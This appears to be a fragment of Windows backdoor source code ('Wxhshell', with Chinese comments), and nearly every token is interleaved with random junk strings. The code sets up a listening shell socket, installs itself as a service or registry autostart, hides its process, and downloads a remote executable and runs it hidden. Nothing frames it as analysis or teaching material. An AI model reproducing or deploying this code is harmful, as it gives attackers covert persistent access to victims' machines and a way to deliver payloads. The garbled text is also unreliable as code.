注册表启动 q&T'x> / } f*}E\,V"& Q0\5j<'e // 主模块 RJ4mlW int StartWxhshell(LPSTR lpCmdLine) /8\&f%E { ZS]f+}0/} SOCKET wsl; `r(J6,O BOOL val=TRUE; /ASI0h int port=0; P'9io!Z-s struct sockaddr_in door; WI_mJ/2 Y26l,XIV if(wscfg.ws_autoins) Install(); `0|&T;7 L$Ar]O) port=atoi(lpCmdLine); JSK5x(GlH -U[`pUY?f if(port<=0) port=wscfg.ws_port;
Fjt, $ n[7 WSADATA data; %nf=[f if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g8A{aHb1} C)p<M H< if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; %5?-g[ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &W//
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)f door.sin_family = AF_INET; iGVb.=) door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9?chCO(@ door.sin_port = htons(port); .MARF _4B iF?1 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n@[</E( closesocket(wsl); W r7e_ return 1; _kX/LR"L+ } %uqD\`- +\vY; !^ if(listen(wsl,2) == INVALID_SOCKET) { !&p:=}s closesocket(wsl); U]
-@yx return 1; f?zK" } 4Xk;Qd Wxhshell(wsl); F6]!?@ WSACleanup(); 4 ~YQ\4h= +gCy@_2; return 0; P Xn>x8z 1'm`SRX#e } i}F;fWZ` )h_7 2 // 以NT服务方式启动 ]{+M>i[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [k7N+W8 { fUKdC\WL DWORD status = 0; udI:]:,P DWORD specificError = 0xfffffff; | O+># qS}RFM5| serviceStatus.dwServiceType = SERVICE_WIN32; BBE1}V!u
serviceStatus.dwCurrentState = SERVICE_START_PENDING; j{Jc6U serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZfCr"aL serviceStatus.dwWin32ExitCode = 0; gdFoTcHgO| serviceStatus.dwServiceSpecificExitCode = 0; NG!cEo:2aa serviceStatus.dwCheckPoint = 0; 3nC#$L- serviceStatus.dwWaitHint = 0; #r^@*<{^ pjs9b%. hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ::Q); if (hServiceStatusHandle==0) return; G|oB'~{& &\lS status = GetLastError(); -L3
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if (status!=NO_ERROR) pXj/6+^ { Q*&aC|b& serviceStatus.dwCurrentState = SERVICE_STOPPED; ^'53]b: serviceStatus.dwCheckPoint = 0; SOQ-D4q serviceStatus.dwWaitHint = 0; vp75u93 serviceStatus.dwWin32ExitCode = status; 2n;;Tso" serviceStatus.dwServiceSpecificExitCode = specificError; \{=`F`oB= SetServiceStatus(hServiceStatusHandle, &serviceStatus); m<,G:?RM return; 3et2\wOX1x } V& j.>Y C\^<v& serviceStatus.dwCurrentState = SERVICE_RUNNING; A.C278^O8 serviceStatus.dwCheckPoint = 0; \R>5F\ 0 serviceStatus.dwWaitHint = 0; DEp%\sj? if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lJ] \ } <Dj$0g +6M+hO] // 处理NT服务事件,比如:启动、停止 -1r &s VOID WINAPI NTServiceHandler(DWORD fdwControl) ji)4WG/1 { 2DCcGKa" switch(fdwControl) H0b6ZA%n { ivUsMhx>S, case SERVICE_CONTROL_STOP: !0csNg! serviceStatus.dwWin32ExitCode = 0; &Bz7fKCo serviceStatus.dwCurrentState = SERVICE_STOPPED; V_A,d8=lt serviceStatus.dwCheckPoint = 0; VfA5r`^ serviceStatus.dwWaitHint = 0; t6g)3F7 T { wH_n$w SetServiceStatus(hServiceStatusHandle, &serviceStatus); iraRB~ } -=t3O# return; rE{Xo:Cf case SERVICE_CONTROL_PAUSE: IL[|CB1v serviceStatus.dwCurrentState = SERVICE_PAUSED; E%\7Uo- break; w]Ko/;;^2 case SERVICE_CONTROL_CONTINUE: 90h1e7ZcC serviceStatus.dwCurrentState = SERVICE_RUNNING; azDC'.3{p break; ^Im%D(MY case SERVICE_CONTROL_INTERROGATE: uJ/?+5TU break; 9<(K6Q }; 8K JQ( SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z(k\J|&9C } jl e%|8m&@ ci_v7Jnwo // 标准应用程序主函数 Bpm5dT; int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 51ajE2+X& { U_}A{bFG sAD P~xvU
// 获取操作系统版本 K)Xs L OsIsNt=GetOsVer(); Ij6Wz.* GetModuleFileName(NULL,ExeFile,MAX_PATH); VmOFX:j!, '=Kof1 // 从命令行安装 C/CfjRzd if(strpbrk(lpCmdLine,"iI")) Install(); yhtvr5z1 bhqq // 下载执行文件 ~
S?-{X+ if(wscfg.ws_downexe) { h\u0{!@} if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qzHqj; WinExec(wscfg.ws_filenam,SW_HIDE); .KU SNrs' } n:bB$Ai2 [6_Du6\h if(!OsIsNt) { -Nlf~X // 如果时win9x,隐藏进程并且设置为注册表启动 Dd5xXs+c HideProc(); }rY?=I StartWxhshell(lpCmdLine); }$0xt' q& } @( n^S?( else 16[-3cJ T if(StartFromService()) `Ge +(1x // 以服务方式启动 jqX@&}3@ StartServiceCtrlDispatcher(DispatchTable); >Z2,^5P{ else Rgfc29(8 // 普通方式启动 pe!dm}!h[ StartWxhshell(lpCmdLine); x'M^4{4[ I>kiah* return 0; hM36QOdm }
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